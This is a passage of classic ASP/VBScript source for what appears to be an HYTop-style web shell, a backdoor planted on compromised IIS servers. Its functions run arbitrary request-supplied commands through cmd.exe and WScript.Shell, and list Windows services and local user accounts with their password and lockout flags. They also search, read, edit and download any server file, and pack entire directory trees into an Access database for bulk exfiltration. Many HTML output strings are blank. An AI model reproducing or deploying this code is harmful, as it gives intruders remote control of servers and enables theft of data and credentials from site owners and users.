Set theFile=fsoX.OpenTextFile(aspPath)
echo encode(theFile.ReadAll())
Set theFile=Nothing
End If
Response.End
End If
echo ""
echo ""
echo ""
End Sub
Sub PageServiceList()
Dim sa,objService,objComputer
Set objComputer=GetObject("WinNT://.")
Set sa=Server.CreateObject(ShA)
objComputer.Filter=Array("Service")
echo ""
If isDebugMode=False Then
On Error Resume Next
End If
For Each objService In objComputer
echo "
"&objService.Name&"
"
echo "N: "&objService.Name&" "
echo "D: "&objService.DisplayName&" "
echo "C: "&getStartType(objService.StartType)&" "
echo "S: "&sa.IsServiceRunning(objService.Name)&" "
echo "L: "&objService.ServiceAccountName&" "
echo "D: "&getServiceDsc(objService.Name)&" "
echo "P: "&objService.Path
echo ""
Next
echo ""
Set sa=Nothing
End Sub
Function getServiceDsc(strService)
Dim ws
Set ws=Server.CreateObject("WScript.Shell")
getServiceDsc=ws.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\"&strService&"\Description")
Set ws=Nothing
End Function
Sub PageTxtSearcher()
Response.Buffer=True
Server.ScriptTimeOut=5000
Dim keyword,theAct,thePath,theFolder
theAct=Request("theAct")
keyword=Trim(Request("keyword"))
thePath=Trim(Request("thePath"))
If thePath="" Then
thePath=Server.MapPath("\")
End If
echo "FSO S:"
echo ""
echo ""
echo ""
echo "Shell.Application & Adodb.Stream S:"
echo ""
echo ""
echo ""
If theAct="fsoSearch" And keyword<>"" Then
Set theFolder=fsoX.GetFolder(thePath)
Call searchFolder(theFolder,keyword)
Set theFolder=Nothing
End If
If theAct="saSearch" And keyword<>"" Then
Call appSearchIt(thePath,keyword)
End If
End Sub
Sub searchFolder(folder,str)
Dim ext,title,theFile,theFolder
For Each theFile In folder.Files
ext=LCase(Split(theFile.Path,".")(UBound(Split(theFile.Path,"."))))
If InStr(LCase(theFile.Name),LCase(str)) > 0 Then
echo fileLink(theFile,"")
End If
If ext="asp" Or ext="asa" Or ext="cer" Or ext="cdx" Then
If searchFile(theFile,str,title,"fso") Then
echo fileLink(theFile,title)
End If
End If
Next
Response.Flush()
For Each theFolder In folder.subFolders
searchFolder theFolder,str
Next
end sub
Function searchFile(f,s,title,method)
If isDebugMode=False Then
On Error Resume Next
End If
Dim theFile,content,pos1,pos2
If method="fso" Then
Set theFile=fsoX.OpenTextFile(f.Path)
content=theFile.ReadAll()
theFile.Close
Set theFile=Nothing
Else
content=streamLoadFromFile(f.Path)
End If
If Err Then
Err.Clear
content=""
End If
searchFile=InStr(1,content,S,vbTextCompare) > 0
If searchFile Then
pos1=InStr(1,content,"",vbTextCompare)
pos2=InStr(1,content,"",vbTextCompare)
title=""
If pos1 > 0 And pos2 > 0 Then
title=Mid(content,pos1+7,pos2 - pos1 - 7)
End If
End If
End Function
Function fileLink(f,title)
fileLink=f.Path
If title="" Then
title=f.Name
End If
fileLink="
"&title&" "&fileLink&"
"
End Function
Sub appSearchIt(thePath,theKey)
Dim title,extName,objFolder,objItem,fileName
Set objFolder=saX.NameSpace(thePath)
For Each objItem In objFolder.Items
If objItem.IsFolder=True Then
Call appSearchIt(objItem.Path,theKey)
Response.Flush()
Else
extName=LCase(Split(objItem.Path,".")(UBound(Split(objItem.Path,"."))))
fileName=Split(objItem.Path,"\")(UBound(Split(objItem.Path,"\")))
If InStr(LCase(fileName),LCase(theKey)) > 0 Then
echo fileLink(objItem,"")
End If
If extName="asp" Or extName="asa" Or extName="cer" Or extName="cdx" Then
If searchFile(objItem,theKey,title,"application") Then
echo fileLink(objItem,title)
End If
End If
End If
Next
End Sub
Sub PageUserList()
Dim objUser,objGroup,objComputer
Set objComputer=GetObject("WinNT://.")
objComputer.Filter=Array("User")
echo "User:"
echo ""
For Each objUser in objComputer
echo "
"&objUser.Name&"
"
echo ""
getUserInfo(objUser.Name)
echo ""
Next
echo ""
echo " UserGroup:"
echo ""
objComputer.Filter=Array("Group")
For Each objGroup in objComputer
echo "
"&objGroup.Name&"
"
echo ""&objGroup.Description&""
Next
echo ""
End Sub
Sub getUserInfo(strUser)
Dim User,Flags
If isDebugMode=False Then
On Error Resume Next
End If
Set User=GetObject("WinNT://./"&strUser&",user")
echo "D:"&User.Description&" "
echo "G:"&getItsGroup(strUser)&" "
echo "PE:"&cbool(User.Get("PasswordExpired"))&" "
Flags=User.Get("UserFlags")
echo "E:"&cbool(Flags And &H10000)&" "
echo "M:"&cbool(Flags And &H00040)&" "
echo "H:"&cbool(Flags And &H100)&" "
echo "S:"&User.PasswordMinimumLength&" "
echo "P:"&User.PasswordRequired&" "
echo "S:"&User.AccountDisabled&" "
echo "L:"&User.IsAccountLocked&" "
echo "F:"&User.Profile&" "
echo "S:"&User.LoginScript&" "
echo "Home:"&User.HomeDirectory&" "
echo "Home/: "&User.Get("HomeDirDrive")&" "
echo "D:"&User.AccountExpirationDate&" "
echo "N:"&User.BadLoginCount&" "
echo "D:"&User.LastLogin&" "
echo "C:"&User.LastLogoff&" "
For Each RegTime In User.LoginHours
If RegTime < 255 Then
Restrict=True
End If
Next
echo "Time: "&Restrict&" "
Err.Clear
End Sub
Function getItsGroup(strUser)
Dim objUser,objGroup
Set objUser=GetObject("WinNT://./"&strUser&",user")
For Each objGroup in objUser.Groups
getItsGroup=getItsGroup&" "&objGroup.Name
Next
End Function
Sub PageWsCmdRun()
Dim cmdStr,cmdPath,cmdResult
cmdStr=Request("cmdStr")
cmdPath=Request("cmdPath")
If cmdPath="" Then
cmdPath="cmd.exe"
End If
If cmdStr<>"" Then
If InStr(LCase(cmdPath),"cmd.exe") > 0 Or InStr(LCase(cmdPath),LCase(myCmdDotExeFile)) > 0 Then
cmdResult=doWsCmdRun(cmdPath&" /c "&cmdStr)
Else
If LCase(cmdPath)="wscriptshell" Then
cmdResult=doWsCmdRun(cmdStr)
Else
cmdResult=doWsCmdRun(cmdPath&" "&cmdStr)
End If
End If
End If
echo ""
echo ""
echo ""
End Sub
Function doWsCmdRun(cmdStr)
If isDebugMode=False Then
On Error Resume Next
End If
Dim fso,theFile
Set fso=Server.CreateObject(ScF)
doWsCmdRun=wsX.Exec(cmdStr).StdOut.ReadAll()
If Err Then
echo Err.Description&" "
Err.Clear
wsX.Run cmdStr&" > "&aspPath,0,True
Set theFile=fso.OpenTextFile(aspPath)
doWsCmdRun=theFile.RealAll()
If Err Then
echo Err.Description&" "
Err.Clear
doWsCmdRun=streamLoadFromFile(aspPath)
End If
End If
Set fso=Nothing
End Function
Sub PageOther()
echo "" & vbNewLine
echo ""
End Sub
Sub openUrl(usePath)
Dim theUrl,thePath
thePath=Server.MapPath("/")
If LCase(Left(usePath,Len(thePath)))=LCase(thePath) Then
theUrl=Mid(usePath,Len(thePath)+1)
theUrl=Replace(theUrl,"\","/")
If Left(theUrl,1)="/" Then
theUrl=Mid(theUrl,2)
End If
Response.Redirect("/"&theUrl)
Else
alertThenClose("?!")
Response.End
End If
End Sub
Sub showEdit(thePath,strMethod)
If isDebugMode=False Then
On Error Resume Next
End If
Dim theFile,unEditableExt
If Right(thePath,1)="\" Then
alertThenClose("E.")
Response.End
End If
unEditableExt="$exe$dll$bmp$wav$mp3$wma$ra$wmv$ram$rm$avi$mgp$png$tiff$gif$pcx$jpg$com$msi$scr$rar$zip$ocx$sys$mdb$"
echo ""
echo ""
echo " "
End Sub
Sub saveToFile(thePath,strMethod)
If isDebugMode=False Then
On Error Resume Next
End If
Dim fileContent,windowStatus
fileContent=Request("fileContent")
windowStatus=Request("windowStatus")
If strMethod="stream" Then
streamSaveToFile thePath,fileContent
chkErr(Err)
Else
fsoSaveToFile thePath,fileContent
chkErr(Err)
End If
If windowStatus="on" Then
Response.Cookies(m&"windowStatus")="True"
Response.Write ""
Else
Response.Cookies(m&"windowStatus")="False"
Call showEdit(thePath,strMethod)
End If
End Sub
Sub fsoSaveToFile(thePath,fileContent)
Dim theFile
Set theFile=fsoX.OpenTextFile(thePath,2,True)
theFile.Write fileContent
theFile.Close
Set theFile=Nothing
End Sub
Function streamLoadFromFile(thePath)
Dim stream
If isDebugMode=False Then
On Error Resume Next
End If
Set stream=Server.CreateObject("adodb.stream")
With stream
.Type=2
.Mode=3
.Open
.LoadFromFile thePath
.LoadFromFile thePath
If Request("pageName")<>"TxtSearcher" Then
chkErr(Err)
End If
.Charset="gb2312"
.Position=2
streamLoadFromFile=.ReadText()
.Close
End With
Set stream=Nothing
End Function
Sub downTheFile(thePath)
Response.Clear
If isDebugMode=False Then
On Error Resume Next
End If
Dim stream,fileName,fileContentType
fileName=split(thePath,"\")(uBound(split(thePath,"\")))
Set stream=Server.CreateObject("adodb.stream")
stream.Open
stream.Type=1
stream.LoadFromFile(thePath)
chkErr(Err)
Response.AddHeader "Content-Disposition","attachment; filename="&fileName
Response.AddHeader "Content-Length",stream.Size
Response.Charset="UTF-8"
Response.ContentType="application/octet-stream"
Response.BinaryWrite stream.Read
Response.Flush
stream.Close
Set stream=Nothing
End Sub
Sub showUpload(thePath,pageName)
echo ""
echo "unpack(FSO): "
echo ""
End Sub
Sub addToMdb(thePath)
If isDebugMode=False Then
On Error Resume Next
End If
Dim rs,conn,stream,connStr,adoCatalog
Set rs=Server.CreateObject("ADODB.RecordSet")
Set stream=Server.CreateObject("ADODB.Stream")
Set conn=Server.CreateObject("ADODB.Connection")
Set adoCatalog=Server.CreateObject("ADOX.Catalog")
connStr="Provider=Microsoft.Jet.OLEDB.4.0; Data Source="&Server.MapPath("HYTop.mdb")
adoCatalog.Create connStr
conn.Open connStr
conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED,thePath VarChar,fileContent Image)")
stream.Open
stream.Type=1
rs.Open "FileData",conn,3,3
If Request("theMethod")="fso" Then
fsoTreeForMdb thePath,rs,stream
Else
saTreeForMdb thePath,rs,stream
End If
rs.Close
Conn.Close
stream.Close
Set rs=Nothing
Set conn=Nothing
Set stream=Nothing
Set adoCatalog=Nothing
End Sub
Function fsoTreeForMdb(thePath,rs,stream)
Dim item,theFolder,folders,files,sysFileList
sysFileList="$HYTop.mdb$HYTop.ldb$"
If fsoX.FolderExists(thePath)=False Then
showErr(thePath&"E!")
End If
Set theFolder=fsoX.GetFolder(thePath)
Set files=theFolder.Files
Set folders=theFolder.SubFolders
For Each item In folders
fsoTreeForMdb item.Path,rs,stream
Next
For Each item In files
If InStr(sysFileList,"$"&item.Name&"$") <=0 Then
rs.AddNew
rs("thePath")=Mid(item.Path,4)
stream.LoadFromFile(item.Path)
rs("fileContent")=stream.Read()
rs.Update
End If
Next
Set files=Nothing
Set folders=Nothing
Set theFolder=Nothing
End Function
Sub unPack(thePath)
If isDebugMode=False Then
On Error Resume Next
End If
Server.ScriptTimeOut=5000
Dim rs,ws,str,conn,stream,connStr,theFolder
str=Server.MapPath(".")&"\"
Set rs=CreateObject("ADODB.RecordSet")
Set stream=CreateObject("ADODB.Stream")
Set conn=CreateObject("ADODB.Connection")
connStr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&thePath&";"
conn.Open connStr
rs.Open "FileData",conn,1,1
stream.Open
stream.Type=1
Do Until rs.Eof
theFolder=Left(rs("thePath"),InStrRev(rs("thePath"),"\"))
If fsoX.FolderExists(str&theFolder)=False Then
createFolder(str&theFolder)
End If
stream.SetEos()
stream.Write rs("fileContent")
stream.SaveToFile str&rs("thePath"),2
rs.MoveNext
Loop
rs.Close
conn.Close
stream.Close
Set ws=Nothing
Set rs=Nothing
Set stream=Nothing
Set conn=Nothing
End Sub
Sub createFolder(thePath)
Dim i
i=Instr(thePath,"\")
Do While i > 0
If fsoX.FolderExists(Left(thePath,i))=False Then
fsoX.CreateFolder(Left(thePath,i - 1))
End If
If InStr(Mid(thePath,i+1),"\") Then
i=i+Instr(Mid(thePath,i+1),"\")
Else
i=0
End If
Loop
End Sub
Sub saTreeForMdb(thePath,rs,stream)
Dim item,theFolder,sysFileList
sysFileList="$HYTop.mdb$HYTop.ldb$"
Set theFolder=saX.NameSpace(thePath)
For Each item In theFolder.Items
If item.IsFolder=True Then
saTreeForMdb item.Path,rs,stream
Else
If InStr(sysFileList,"$"&item.Name&"$") <=0 Then
rs.AddNew
rs("thePath")=Mid(item.Path,4)
stream.LoadFromFile(item.Path)
rs("fileContent")=stream.Read()
rs.Update
End If
End If
Next
Set theFolder=Nothing
End Sub
%>